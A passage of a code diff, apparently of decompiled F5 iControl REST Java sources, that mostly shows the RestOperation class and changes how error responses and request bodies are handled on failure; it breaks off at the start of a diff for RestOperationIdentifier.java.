return null;\n }\n return this.authorizationData.basicAuthValue;\n }\n \n \n \n \n \n \n \n public RestOperation setWwwAuthenticate(String authentication) {\n setupAuthorizationData();\n this.authorizationData.wwwAuthenticate = authentication;\n return this;\n }\n \n \n \n \n \n \n public RestOperation setXF5AuthToken(String token) {\n setupAuthorizationData();\n if (token == null) {\n this.authorizationData.xF5AuthTokenState = null;\n } else {\n this.authorizationData.xF5AuthTokenState = new AuthTokenItemState();\n this.authorizationData.xF5AuthTokenState.token = token;\n }\n return this;\n }\n \n \n \n \n \n \n \n \n \n public RestOperation setXF5AuthTokenState(AuthTokenItemState tokenState) {\n setupAuthorizationData();\n this.authorizationData.xF5AuthTokenState = tokenState;\n \n RestOperationIdentifier.updateIdentityFromAuthenticationData(this);\n \n return this;\n }\n \n \n \n \n public RestOperation setXAuthToken(String token) {\n setupAuthorizationData();\n this.authorizationData.xAuthToken = token;\n return this;\n }\n \n \n \n \n public RestOperation setXForwardedFor(String xForwardedFor) {\n this.xForwardedFor = xForwardedFor;\n return this;\n }\n \n \n \n \n \n \n public String getWwwAuthenticate() {\n if (this.authorizationData == null) {\n return null;\n }\n return this.authorizationData.wwwAuthenticate;\n }\n \n \n \n \n \n \n \n public String getXF5AuthToken() {\n if (this.authorizationData == null || this.authorizationData.xF5AuthTokenState == null) {\n return null;\n }\n return this.authorizationData.xF5AuthTokenState.token;\n }\n \n \n \n \n \n public AuthTokenItemState getXF5AuthTokenState() {\n if (this.authorizationData == null) {\n return null;\n }\n return this.authorizationData.xF5AuthTokenState;\n }\n \n \n \n \n \n public String getXAuthToken() {\n if (this.authorizationData == null) {\n return null;\n }\n return this.authorizationData.xAuthToken;\n }\n \n public RestOperation setTransferEncoding(String value) {\n this.transferEncoding = value;\n return this;\n }\n \n public String getTransferEncoding() {\n return this.transferEncoding;\n }\n \n \n \n \n \n public String getAuthUser() {\n return (this.identityData == null) ? null : this.identityData.userName;\n }\n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n public boolean doesRequireAuthorization() {\n return (isPublicRequest() || getAuthUser() != null);\n }\n \n \n \n \n \n \n \n \n \n public RestReference getAuthUserReference() {\n return (this.identityData == null) ? null : this.identityData.userReference;\n }\n \n \n \n \n \n \n \n public RestReference[] getAuthGroupReferences() {\n return (this.identityData == null) ? null : this.identityData.groupReferences;\n }\n \n \n \n \n \n \n public List<RestReference> getAuthGroupReferencesList() {\n List<RestReference> list = new ArrayList<>();\n \n if (this.identityData == null) {\n return list;\n }\n \n if (this.identityData.groupReferences == null) {\n return list;\n }\n \n for (RestReference reference : this.identityData.groupReferences) {\n if (!RestReference.isNullOrEmpty(reference)) {\n list.add(reference);\n }\n }\n \n return list;\n }\n \n \n \n \n \n \n \n public List<RestReference> getAuthIdentityReferences() {\n List<RestReference> list = new ArrayList<>();\n \n if (this.identityData == null) {\n return list;\n }\n \n list.addAll(getAuthGroupReferencesList());\n \n if (!RestReference.isNullOrEmpty(this.identityData.userReference)) {\n list.add(this.identityData.userReference);\n }\n \n return list;\n }\n \n \n \n public String getAuthProviderName() {\n AuthTokenItemState token = getXF5AuthTokenState();\n if (token != null) {\n return token.authProviderName;\n }\n \n \n return \"local\";\n }\n \n public long getContentLength() {\n if (this.contentLength == -1L && this.body == null)\n {\n \n getBodyAsString();\n }\n return this.contentLength;\n }\n \n \n \n \n \n \n \n \n public boolean isContentLengthUnknown() {\n return (this.contentLength == -1L);\n }\n \n \n \n \n \n \n public boolean isBodyNull() {\n return (this.body == null && this.binaryBody == null);\n }\n \n \n \n \n public boolean isBodyEmpty() {\n if (isBodyNull())\n {\n return true;\n }\n \n if (this.binaryBody != null && this.binaryBody.length > 0)\n {\n return false;\n }\n \n if (this.body != null && (\n this.body.isEmpty() || \"{}\".equals(this.body))) {\n return true;\n }\n \n \n \n return (isContentLengthUnknown() || getContentLength() == 0L);\n }\n \n \n public <T> T getTypedBody(Class<T> bodyClass) {\n return bodyClass.cast(getBody(bodyClass));\n }\n \n public Object getBody(Type bodyType) {\n if (isBodyEmpty()) {\n return null;\n }\n if (this.deserializedBody != null && this.deserializedBodyType != null && bodyType.equals(this.deserializedBodyType))\n {\n \n return this.deserializedBody;\n }\n \n this.deserializedBody = gson.fromJson(this.body, bodyType);\n this.deserializedBodyType = bodyType;\n return this.deserializedBody;\n }\n \n public String getBodyAsString() {\n return this.body;\n }\n \n public byte[] getBinaryBody() {\n return this.binaryBody;\n }\n \n public RestOperation setBinaryBody(byte[] binaryBody) {\n return setBody(null, null, binaryBody);\n }\n \n public RestOperation setBinaryBody(byte[] binaryBody, String contentType) {\n setBody(null, null, binaryBody);\n return setContentType(contentType);\n }\n \n \n \n \n \n \n \n \n \n \n public RestOperation setBodyFromOp(RestOperation request) {\n this.body = request.body;\n this.binaryBody = request.binaryBody;\n \n this.contentLength = request.contentLength;\n this.contentType = request.contentType;\n this.deserializedBody = null;\n this.deserializedBodyType = null;\n \n return this;\n }\n \n \n \n \n \n \n public RestOperation setParsedBody(JsonElement body) {\n return setBody(null, body, null);\n }\n \n public RestOperation setBody(String body, String mimeType) {\n return setBody(body, null, null).setContentType(mimeType);\n }\n \n public RestOperation setBody(String body) {\n return setBody(body, null, null);\n }\n \n public RestOperation setBody(Object body) {\n return setBody(null, body, null);\n }\n \n \n private RestOperation setBody(String stringBody, Object aObjBody, byte[] aBinaryBody) {\n clearBody();\n \n if (stringBody != null) {\n \n this.body = stringBody;\n this.contentLength = stringBody.length();\n \n }\n else if (aObjBody != null) {\n \n \n this.body = toJson(aObjBody);\n this.contentLength = this.body.length();\n \n \n setContentType(\"application/json\");\n } else if (aBinaryBody != null) {\n \n this.binaryBody = aBinaryBody;\n this.contentLength = aBinaryBody.length;\n }\n \n \n \n checkSize(this.contentLength);\n \n return this;\n }\n public void checkSize(long requiredCapacity) {\n int maxSize = maxMessageBodySize.get();\n if (requiredCapacity > maxSize) {\n throw new IllegalArgumentException(\"Message body size of \" + requiredCapacity + \" bytes\" + \" exceeds the maximum allowed size of \" + maxSize + \" bytes\");\n }\n }\n \n \n \n \n \n \n \n \n \n public JsonElement getParsedBody() {\n if (this.body == null) {\n return null;\n }\n \n return toJsonTree(this.body);\n }\n \n \n \n \n \n \n \n public boolean hasProperty(String propertyName) {\n if (this.binaryBody != null) {\n return false;\n }\n \n if (!\"application/json\".equals(this.contentType)) {\n return false;\n }\n \n if (this.body == null) {\n return false;\n }\n \n if (!this.body.contains(\"\\\"\" + propertyName + \"\\\"\")) {\n return false;\n }\n \n JsonElement parsedBody = getParsedBody();\n if (parsedBody.isJsonObject()) {\n JsonObject bodyObj = parsedBody.getAsJsonObject();\n return bodyObj.has(propertyName);\n }\n \n return false;\n }\n \n \n \n \n public RestOperation setUri(URI uri) {\n this.uri = uri;\n HttpParserHelper.parseUriParameters(this, uri);\n return this;\n }\n \n public URI getUri() {\n return this.uri;\n }\n \n public RestOperation setStatusCode(int statusCode) {\n this.statusCode = statusCode;\n return this;\n }\n \n public int getStatusCode() {\n return this.statusCode;\n }\n \n \n \n \n \n \n \n \n \n \n public final RestOperation setExpiration(Date expiration) {\n if (expiration == null) {\n throw new IllegalArgumentException(\"expiration may not be null\");\n }\n this.expiration = expiration;\n return this;\n }\n \n \n \n \n \n public final Date getExpiration() {\n return this.expiration;\n }\n \n \n \n \n \n public boolean hasExpired() {\n return hasExpired(new Date());\n }\n \n \n \n \n \n \n public boolean hasExpired(Date now) {\n if (this.expiration.after(now)) {\n return false;\n }\n return true;\n }\n \n public Map<String, String> getParameters() {\n return this.parameters;\n }\n \n public RestOperation setParameter(String name, String value) {\n RestHelper.setKeyValuePair(this.parameters, name, value);\n return this;\n }\n \n public String getParameter(String name) {\n return this.parameters.get(name);\n }\n \n public void removeParameter(String name) {\n this.parameters.remove(name);\n }\n \n \n \n \n \n \n \n public void setCookies(Map<String, String> cookies) {\n setCookies(cookies, Direction.getDirection(this.isResponse));\n }\n \n \n \n \n \n \n \n \n public void setCookies(Map<String, String> cookies, Direction direction) {\n StringBuilder sb = new StringBuilder();\n for (Map.Entry<String, String> cookie : cookies.entrySet())\n {\n \n sb.append(((String)cookie.getKey()).trim()).append(\"=\").append(cookie.getValue()).append(\";\");\n }\n \n \n \n \n addAdditionalHeader(direction, \"Cookie\", sb.toString());\n }\n \n \n \n \n \n \n \n public Map<String, String> getCookies() {\n return getCookies(Direction.getDirection(this.isResponse));\n }\n \n \n \n \n \n \n \n \n \n public Map<String, String> getCookies(Direction direction) {\n HashMap<String, String> cookieMap = new HashMap<>();\n \n String cookies = getAdditionalHeader(direction, \"Cookie\");\n if (cookies != null) {\n HttpParserHelper.parseRequestKeyValuePairs(cookies, cookieMap, \";\");\n }\n \n \n \n \n \n \n Map<String, String> trimmedCookies = new HashMap<>();\n for (String key : cookieMap.keySet()) {\n String trimmedKey = key.trim();\n String value = cookieMap.get(key);\n String trimmedValue = value.trim();\n trimmedCookies.put(trimmedKey, trimmedValue);\n }\n \n return trimmedCookies;\n }\n \n \n \n \n \n \n \n \n \n public RestOperation setCookie(String name, String value) {\n return setCookie(name, value, Direction.getDirection(this.isResponse));\n }\n \n \n \n \n \n \n \n \n \n \n public RestOperation setCookie(String name, String value, Direction direction) {\n Map<String, String> cookies = getCookies(direction);\n RestHelper.setKeyValuePair(cookies, name, value);\n setCookies(cookies, direction);\n \n return this;\n }\n \n \n \n \n \n \n \n public String getCookie(String name) {\n return getCookie(name, Direction.getDirection(this.isResponse));\n }\n \n \n \n \n \n \n \n \n public String getCookie(String name, Direction direction) {\n Map<String, String> cookies = getCookies(direction);\n \n if (cookies != null) {\n return cookies.get(name);\n }\n return null;\n }\n \n \n \n \n private void allocateHttpHeaders() {\n if (this.additionalHeaders == null) {\n this.additionalHeaders = new HttpHeaderFields[2];\n }\n }\n \n \n \n \n \n \n \n public HttpHeaderFields getAdditionalHeaders() {\n allocateHttpHeaders();\n return this.additionalHeaders[responseToIndex()];\n }\n \n \n \n \n \n \n \n public HttpHeaderFields getAdditionalHeaders(Direction specificDirection) {\n allocateHttpHeaders();\n if (this.additionalHeaders[specificDirection.getIndex()] == null) {\n this.additionalHeaders[specificDirection.getIndex()] = new HttpHeaderFields();\n }\n return this.additionalHeaders[specificDirection.getIndex()];\n }\n \n \n \n \n \n \n \n public String getAdditionalHeader(String name) {\n allocateHttpHeaders();\n if (this.additionalHeaders[responseToIndex()] == null) {\n this.additionalHeaders[responseToIndex()] = new HttpHeaderFields();\n }\n return getAdditionalHeader(Direction.getDirection(this.isResponse), name);\n }\n \n \n \n \n \n \n \n public String getAdditionalHeader(Direction specificDirection, String name) {\n allocateHttpHeaders();\n if (this.additionalHeaders[specificDirection.getIndex()] == null) {\n return \"\";\n }\n \n return this.additionalHeaders[specificDirection.getIndex()].getHeaderField(name);\n }\n \n \n \n \n \n \n \n public void addAdditionalHeaders(Direction specificDirection, HttpHeaderFields headers) {\n this.additionalHeaders[specificDirection.getIndex()] = headers;\n }\n \n \n \n \n \n \n \n public void addAdditionalHeader(Direction specificDirection, String name, String value) {\n allocateHttpHeaders();\n if (this.additionalHeaders[specificDirection.getIndex()] == null) {\n this.additionalHeaders[specificDirection.getIndex()] = new HttpHeaderFields();\n }\n \n this.additionalHeaders[specificDirection.getIndex()].addHeaderField(name, value, specificDirection.toString());\n }\n \n \n \n \n \n \n \n \n public String removeAdditionalHeader(String name) {\n return removeAdditionalHeader(Direction.getDirection(this.isResponse), name);\n }\n \n \n \n \n \n \n \n \n public String removeAdditionalHeader(Direction specificDirection, String name) {\n allocateHttpHeaders();\n if (this.additionalHeaders[specificDirection.getIndex()] == null) {\n return \"\";\n }\n \n return this.additionalHeaders[specificDirection.getIndex()].removeHeaderField(name);\n }\n \n \n \n \n \n \n \n public void addAdditionalHeader(String name, String value) {\n addAdditionalHeader(Direction.getDirection(this.isResponse), name, value);\n }\n \n \n \n \n \n \n private String getAdditionalHeadersAsString(String linePrefix) {\n allocateHttpHeaders();\n StringBuilder sb = new StringBuilder(linePrefix + \"Request:\");\n if (this.additionalHeaders[Direction.REQUEST.getIndex()] == null) {\n sb.append(\"<empty>\");\n } else {\n sb.append(this.additionalHeaders[Direction.REQUEST.getIndex()].getAdditionalHeadersAsString(linePrefix));\n }\n \n sb.append(linePrefix + \"Response:\");\n if (this.additionalHeaders[Direction.RESPONSE.getIndex()] == null) {\n sb.append(\"<empty>\");\n } else {\n sb.append(this.additionalHeaders[Direction.RESPONSE.getIndex()].getAdditionalHeadersAsString(linePrefix));\n }\n \n \n return sb.toString();\n }\n \n \n \n \n public enum Direction\n {\n REQUEST(false),\n \n RESPONSE(true);\n \n private int index;\n \n private String name;\n \n Direction(boolean isResponse) {\n this.index = isResponse ? 1 : 0;\n this.name = isResponse ? \"response\" : \"request\";\n }\n \n public int getIndex() {\n return this.index;\n }\n \n \n public String toString() {\n return this.name;\n }\n \n public static Direction getDirection(boolean isResponse) {\n return isResponse ? RESPONSE : REQUEST;\n }\n \n public static Direction opposite(Direction direction) {\n return (direction == RESPONSE) ? REQUEST : RESPONSE;\n }\n }\n \n private int responseToIndex() {\n return Direction.getDirection(this.isResponse).getIndex();\n }\n \n public RestOperation setCoordinationId(String value) {\n this.coordinationId = value;\n return this;\n }\n \n public String getCoordinationId() {\n return this.coordinationId;\n }\n \n public RestOperation setAllow(String value) {\n this.allow = value;\n return this;\n }\n \n public String getAllow() {\n return this.allow;\n }\n \n public RestOperation setResourceDeprecated(Boolean value) {\n this.resourceDeprecated = value;\n return this;\n }\n \n public Boolean getResourceDeprecated() {\n return Boolean.valueOf((this.resourceDeprecated != null && this.resourceDeprecated.booleanValue()));\n }\n \n public RestOperation setResourceEarlyAccess(Boolean value) {\n this.resourceEarlyAccess = value;\n return this;\n }\n \n public Boolean getResourceEarlyAccess() {\n return Boolean.valueOf((this.resourceEarlyAccess != null && this.resourceEarlyAccess.booleanValue()));\n }\n \n public RestOperation setPropertyDeprecated(Boolean value) {\n this.propertyDeprecated = value;\n return this;\n }\n \n public Boolean getPropertyDeprecated() {\n return Boolean.valueOf((this.propertyDeprecated != null && this.propertyDeprecated.booleanValue()));\n }\n \n public RestOperation setPropertyEarlyAccess(Boolean value) {\n this.propertyEarlyAccess = value;\n return this;\n }\n \n public Boolean getPropertyEarlyAccess() {\n return Boolean.valueOf((this.propertyEarlyAccess != null && this.propertyEarlyAccess.booleanValue()));\n }\n \n public boolean containsApiStatusInformation() {\n return (getResourceDeprecated().booleanValue() || getResourceEarlyAccess().booleanValue() || getPropertyDeprecated().booleanValue() || getPropertyEarlyAccess().booleanValue());\n }\n \n \n public void setXF5ConfigApiStatus(long bitMask) {\n this.xF5ConfigApiStatus = bitMask;\n }\n \n public long getXF5ConfigApiStatus() {\n return this.xF5ConfigApiStatus;\n }\n \n public RestOperation setOrigin(String value) {\n this.origin = value;\n return this;\n }\n \n public String getOrigin() {\n return this.origin;\n }\n \n public List<ParsedCollectionEntry> getParsedCollectionEntries() {\n return this.parsedUriCollectionEntries;\n }\n \n \n \n \n \n \n EnumSet<RestOperationFlags> getRestOperationFlags() {\n return this.restOperationFlags;\n }\n \n public void setSourceAddress(SocketAddress sourceAddress) {\n this.sourceAddress = sourceAddress;\n }\n \n public SocketAddress getSourceAddress() {\n return this.sourceAddress;\n }\n \n \n \n \n public boolean isRollbackRequest() {\n return this.isRollbackRequest;\n }\n \n \n \n \n public RestOperation setRollbackRequest(boolean isRollback) {\n this.isRollbackRequest = isRollback;\n return this;\n }\n \n \n \n \n public RestOperation setParsedCollectionEntries(List<ParsedCollectionEntry> parsedList) {\n this.parsedUriCollectionEntries = parsedList;\n return this;\n }\n \n \n \n \n \n \n \n +\n public boolean generateRestErrorResponse() {\n - return ((getContentType() == null || getContentType().contains(\"application/json\")) && isRestErrorResponseRequired());\n + return (getContentType() != null && isRestErrorResponseRequired());\n }\n \n \n \n \n \n \n \n -\n public boolean isRestErrorResponseRequired() {\n return this.isRestErrorResponseRequired;\n }\n \n \n \n \n \n public RestOperation setIsRestErrorResponseRequired(boolean isRestErrorResponseRequired) {\n this.isRestErrorResponseRequired = isRestErrorResponseRequired;\n return this;\n }\n \n \n \n \n public String getIdentifiedGroupName() {\n return this.identifiedGroupName;\n }\n \n \n \n \n protected RestOperation setTrustedRequest(boolean value) {\n this.isTrustedRequest = value;\n return this;\n }\n \n \n \n \n \n \n public boolean isTrustedRequest() {\n return this.isTrustedRequest;\n }\n \n \n \n \n \n public RestOperation setSenderNote(String value) {\n this.senderNote = value;\n return this;\n }\n \n public String getSenderNote() {\n return this.senderNote;\n }\n \n \n \n \n public RestOperation setGossipHeader(String value) {\n this.gossipHeader = value;\n return this;\n }\n \n public String getGossipHeader() {\n return this.gossipHeader;\n }\n \n public void complete() {\n if (this.completionCount.incrementAndGet() > 1) {\n if (this.statusCode < 400)\n {\n \n \n LOGGER.fine(RestHelper.throwableStackToString(new IllegalStateException(String.format(\"Already completed:Referer:%s, target:%s\", new Object[] { this.referer, this.uri }))));\n }\n \n \n return;\n }\n \n if (this.completion == null) {\n return;\n }\n \n try {\n if (this.statusCode >= 400) {\n IllegalStateException ise = new IllegalStateException(String.format(\"complete() of %s %s from %s %s called with incompatible status code %s so redirecting to failed()\", new Object[] { getMethod(), getUri(), getReferer(), getRemoteSender(), Integer.valueOf(this.statusCode) }));\n \n \n \n \n this.completion.failed(ise, this);\n LOGGER.warning(RestHelper.throwableStackToString(ise));\n return;\n }\n } catch (Exception e) {\n LOGGER.warningFmt(\"Exception in %s %s failure handler: %s\", new Object[] { getMethod(), getUri(), RestHelper.throwableStackToString(e) });\n \n return;\n }\n \n try {\n this.completion.completed(this);\n } catch (Exception e) {\n try {\n LOGGER.fineFmt(\"Failed attempting to complete a successful %s %s request: %s\", new Object[] { getMethod(), getUri(), RestHelper.throwableStackToString(e) });\n \n Exception ex = RestHelper.convertToException(e);\n this.completion.failed(ex, this);\n } catch (Exception eInsideFail) {\n LOGGER.warningFmt(\"Exception in %s %s failed. t: %s tInsideFail: %s\", new Object[] { getMethod(), getUri(), RestHelper.throwableStackToString(e), RestHelper.throwableStackToString(eInsideFail) });\n }\n }\n }\n \n \n \n public void fail(Exception ex, RestErrorResponse err) {\n fail(ex, err, false);\n }\n \n public void fail(Exception ex, RestErrorResponse err, boolean allowExternalStackTrace) {\n try {\n String existingBody = getBodyAsString();\n \n boolean excludeStack = (!allowExternalStackTrace && isRequestExternal());\n \n err.setOriginalRequestBody(existingBody).setCode(this.statusCode).setErrorStack(excludeStack ? null : RestHelper.throwableStackToList(ex)).setReferer(this.referer).setRestOperationId(this.id);\n \n \n \n \n setBody(err);\n } finally {\n fail(ex);\n }\n }\n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n public void fail(Throwable throwable) {\n fail(throwable, false);\n }\n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n public void fail(Throwable throwable, boolean allowExternalStackTrace) {\n if (this.completionCount.incrementAndGet() > 1) {\n return;\n }\n \n if (this.completion == null) {\n return;\n }\n \n if (throwable == null) {\n throwable = new IllegalArgumentException(\"request failed with null exception\");\n }\n \n Exception ex = null;\n try {\n if (this.statusCode == 200 || this.statusCode == 202) {\n \n this.statusCode = 400;\n if (throwable instanceof RestWorkerUriNotFoundException) {\n this.statusCode = 404;\n }\n }\n \n if (generateRestErrorResponse()) {\n setErrorResponseBody(throwable, allowExternalStackTrace);\n }\n \n JsonElement jsonBody = getParsedBody();\n if (jsonBody != null && jsonBody instanceof JsonObject) {\n JsonObject jsonObject = (JsonObject)jsonBody;\n if (jsonObject != null) {\n Set<Map.Entry<String, JsonElement>> entries = jsonObject.entrySet();\n boolean setDescription = false;\n - for (Map.Entry<String, JsonElement> current : entries) {\n + for (Iterator<Map.Entry<String, JsonElement>> iter = entries.iterator(); iter.hasNext(); ) {\n + Map.Entry<String, JsonElement> current = iter.next();\n if (current.getValue() != null && RestWorker.isHtmlTagExists(((JsonElement)current.getValue()).toString())) {\n jsonObject.addProperty(current.getKey(), \"HTML Tag-like Content in the Request URL/Body\");\n setBody(jsonObject.toString());\n LOGGER.fine(\"tag-like content on respone with key \" + (String)current.getKey());\n }\n \n \n - if (((String)current.getKey()).toString().equals(\"code\") && (((JsonElement)current.getValue()).toString().equals(\"400\") || ((JsonElement)current.getValue()).toString().equals(\"500\"))) {\n -\n + if (((String)current.getKey()).toString().equals(\"code\") && Integer.parseInt(((JsonElement)current.getValue()).toString()) >= 400) {\n \n setDescription = true; continue;\n } if (setDescription && ((String)current.getKey()).toString().equals(\"originalRequestBody\")) {\n \n - jsonObject.remove(current.getKey());\n + iter.remove();\n setBody(jsonObject.toString());\n setDescription = false;\n LOGGER.fine(\"Cleared the request content for key \" + (String)current.getKey());\n }\n }\n }\n }\n ex = RestHelper.convertToException(throwable);\n } catch (Exception e2) {\n LOGGER.warningFmt(\"Unable to generate error body for %s %s %s: %s\", new Object[] { getMethod(), getUri(), Integer.valueOf(getStatusCode()), RestHelper.throwableStackToString(e2) });\n } finally {\n \n try {\n this.completion.failed(ex, this);\n } catch (Exception e3) {\n LOGGER.warningFmt(\"failure handler for %s %s %s threw unexpectedly: %s\", new Object[] { getMethod(), getUri(), Integer.valueOf(getStatusCode()), RestHelper.throwableStackToString(e3) });\n }\n }\n }\n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n public void setErrorResponseBody(Throwable t) {\n setErrorResponseBody(t, false);\n }\n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n public void setErrorResponseBody(Throwable t, boolean allowExternalStackTrace) {\n if (t == null)\n {\n t = new IllegalArgumentException(\"Expected exception was null\");\n }\n \n boolean excludeStack = (!allowExternalStackTrace && isRequestExternal());\n \n String existingBody = getBodyAsString();\n if (existingBody == null || existingBody.isEmpty()) {\n \n setBody(RestErrorResponse.create().setCode(this.statusCode).setMessage(t.getLocalizedMessage()).setReferer(this.referer).setRestOperationId(this.id).setErrorStack(excludeStack ? null : RestHelper.throwableStackToList(t)));\n \n \n \n return;\n }\n \n \n \n try {\n boolean isValidErrorResponse = false;\n \n \n Object errorResponse = getBody(RestErrorResponse.class);\n if (errorResponse instanceof RestErrorResponse) {\n RestErrorResponse restErrorResponse = (RestErrorResponse)errorResponse;\n isValidErrorResponse = (restErrorResponse.getCode() != 0L || restErrorResponse.getOriginalRequestBody() != null || restErrorResponse.getMessage() != null);\n }\n \n \n \n \n errorResponse = getBody(RestODataErrorResponse.class);\n if (!isValidErrorResponse && errorResponse instanceof RestODataErrorResponse) {\n RestODataErrorResponse oDataErrorResponse = (RestODataErrorResponse)errorResponse;\n isValidErrorResponse = (oDataErrorResponse.getError() != null && oDataErrorResponse.getError().getCode() != 0);\n }\n \n \n if (excludeStack) {\n existingBody = cleanStackTrace(existingBody);\n setBody(existingBody);\n }\n \n \n if (!isValidErrorResponse) {\n setBody(RestErrorResponse.create().setCode(this.statusCode).setOriginalRequestBody(existingBody).setMessage(t.getLocalizedMessage()).setReferer(this.referer).setRestOperationId(this.id).setErrorStack(excludeStack ? null : RestHelper.throwableStackToList(t)));\n \n \n \n }\n \n \n }\n catch (Exception jsonException) {\n t.addSuppressed(jsonException);\n \n \n setBody(RestErrorResponse.create().setCode(this.statusCode).setMessage(t.getLocalizedMessage()).setOriginalRequestBody(existingBody).setReferer(this.referer).setRestOperationId(this.id).setErrorStack(excludeStack ? null : RestHelper.throwableStackToList(t)));\n }\n }\n \n \n \n \n \n \n \n \n \n \n \n \n \n public static String cleanStackTrace(String json) {\n if (json != null && json.contains(\"errorStack\")) {\n json = json.replaceAll(\"(?s)(\\\"errorStack\\\"|errorStack)(\\\\s*):(\\\\s*)\\\\[.*]\", \"$1$2:$3[]\");\n }\n \n \n return json;\n }\n \n private boolean isRequestExternal() {\n boolean isExternal = true;\n \n try {\n isExternal = RestStatic.isExternalRequest(this);\n } catch (Exception e) {\n \n LOGGER.severe(\"Unable to determine if request is external: \" + e.getMessage());\n }\n \n return isExternal;\n }\n \n \n \n \n \n public Object clone() {\n RestOperation copy = new RestOperation();\n copy.completion = this.completion;\n copy.retriesRemaining = this.retriesRemaining;\n copy.parameters.putAll(this.parameters);\n copy.uri = (this.uri == null) ? null : URI.create(this.uri.toString());\n copy.expiration = new Date(this.expiration.getTime());\n copy.method = this.method;\n copy.accept = this.accept;\n copy.allow = this.allow;\n copy.resourceDeprecated = this.resourceDeprecated;\n copy.resourceEarlyAccess = this.resourceEarlyAccess;\n copy.propertyDeprecated = this.propertyDeprecated;\n copy.propertyEarlyAccess = this.propertyEarlyAccess;\n copy.xF5ConfigApiStatus = this.xF5ConfigApiStatus;\n copy.contentType = this.contentType;\n copy.contentDisposition = this.contentDisposition;\n copy.body = this.body;\n copy.binaryBody = this.binaryBody;\n copy.contentLength = this.contentLength;\n copy.contentRange = this.contentRange;\n copy.serverCertificateChain = this.serverCertificateChain;\n copy.isForceSocketEnabled = this.isForceSocketEnabled;\n copy.isRollbackRequest = this.isRollbackRequest;\n copy.restOperationFlags = EnumSet.copyOf(this.restOperationFlags);\n copy.statusCode = this.statusCode;\n if (this.authorizationData != null) {\n copy.authorizationData = new AuthorizationData();\n copy.authorizationData.basicAuthValue = this.authorizationData.basicAuthValue;\n copy.authorizationData.xAuthToken = this.authorizationData.xAuthToken;\n copy.authorizationData.xF5AuthTokenState = (this.authorizationData.xF5AuthTokenState == null) ? null : RestHelper.<AuthTokenItemState>copy(this.authorizationData.xF5AuthTokenState);\n \n \n copy.authorizationData.wwwAuthenticate = this.authorizationData.wwwAuthenticate;\n }\n if (this.identityData != null) {\n copy.identityData = new IdentityData();\n copy.identityData.userName = this.identityData.userName;\n if (!RestReference.isNullOrEmpty(this.identityData.userReference)) {\n URI uriCopy = URI.create(this.identityData.userReference.link.toString());\n copy.identityData.userReference = new RestReference(uriCopy);\n }\n if (this.identityData.groupReferences != null) {\n copy.identityData.groupReferences = new RestReference[this.identityData.groupReferences.length];\n \n for (int i = 0; i < this.identityData.groupReferences.length; i++) {\n if (!RestReference.isNullOrEmpty(this.identityData.groupReferences[i])) {\n \n \n URI uriCopy = URI.create((this.identityData.groupReferences[i]).link.toString());\n copy.identityData.groupReferences[i] = new RestReference(uriCopy);\n }\n }\n }\n } copy.transferEncoding = this.transferEncoding;\n copy.sourceAddress = this.sourceAddress;\n copy.referer = this.referer;\n copy.coordinationId = this.coordinationId;\n copy.xForwardedFor = this.xForwardedFor;\n copy.identifiedGroupName = this.identifiedGroupName;\n copy.isTrustedRequest = this.isTrustedRequest;\n \n \n \n copy.isConnectionCloseRequested = this.isConnectionCloseRequested;\n copy.isConnectionKeepAlive = this.isConnectionKeepAlive;\n \n if (RestHelper.getOperationTracingLevel().intValue() <= Level.FINER.intValue()) {\n \n copy.responseHeadersTrace = this.responseHeadersTrace;\n copy.requestHeadersTrace = this.requestHeadersTrace;\n }\n \n if (this.additionalHeaders != null && this.additionalHeaders[0] != null) {\n copy.allocateHttpHeaders();\n copy.additionalHeaders[Direction.REQUEST.getIndex()] = (HttpHeaderFields)this.additionalHeaders[Direction.REQUEST.getIndex()].clone();\n }\n \n \n if (this.additionalHeaders != null && this.additionalHeaders[1] != null) {\n copy.allocateHttpHeaders();\n copy.additionalHeaders[Direction.RESPONSE.getIndex()] = (HttpHeaderFields)this.additionalHeaders[Direction.RESPONSE.getIndex()].clone();\n }\n \n \n \n copy.isRestErrorResponseRequired = this.isRestErrorResponseRequired;\n copy.isPublicRequest = this.isPublicRequest;\n copy.senderNote = this.senderNote;\n copy.gossipHeader = this.gossipHeader;\n \n \n \n return copy;\n }\n \n \n \n \n \n \n \n \n public static String toJson(Object src) {\n return gson.toJson(src);\n }\n \n \n \n \n \n \n \n \n public static JsonElement toJsonTree(String src) {\n return (new JsonParser()).parse(src);\n }\n \n \n \n \n \n \n \n \n public static JsonElement toJsonTree(Object src) {\n return gson.toJsonTree(src);\n }\n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n public static String toJsonWithEnumValues(Object src) {\n return extendedGson.toJson(src);\n }\n \n \n \n \n \n \n \n \n \n public static <T> T fromJson(String json, Class<T> classOfT) throws JsonSyntaxException {\n return (T)gson.fromJson(json, classOfT);\n }\n \n \n \n \n \n \n \n \n \n public static <T> T fromJson(Reader json, Class<T> classOfT) throws JsonSyntaxException {\n return (T)gson.fromJson(json, classOfT);\n }\n \n \n \n \n \n \n \n \n \n \n \n public static <T> T fromJson(JsonElement parsedJson, Class<T> classOfT) throws JsonSyntaxException {\n return (T)gson.fromJson(parsedJson, classOfT);\n }\n \n \n \n \n \n \n \n \n \n \n public static <T> T fromObject(Object src, Class<T> classOfT) throws JsonSyntaxException {\n return (T)gson.fromJson(gson.toJson(src), classOfT);\n }\n \n \n \n \n \n \n \n \n public RestOperation nestCompletion(final RestRequestCompletion beforeCompletion) {\n final RestRequestCompletion original = this.completion;\n RestRequestCompletion wrapper = new RestRequestCompletion()\n {\n public void completed(RestOperation request)\n {\n request.resetCompletionCount();\n request.setCompletion(original);\n beforeCompletion.completed(RestOperation.this);\n }\n \n \n public void failed(Exception ex, RestOperation request) {\n request.resetCompletionCount();\n request.setCompletion(original);\n beforeCompletion.failed(ex, request);\n }\n };\n \n return setCompletion(wrapper);\n }\n }\n diff --git a/com/f5/rest/common/RestOperationIdentifier.java b/com/f5/rest/common/RestOperationIdentifier.java\n index d7941ba..cf955b9 100644\n --- a/com/f5/rest/common/RestOperationIdentifier.java\n +++ b/com/f5/rest/common/RestOperationIdentifier.java\n @@ -1,249 +1,334 @@\n package com.f5.rest.common;\n \n +import 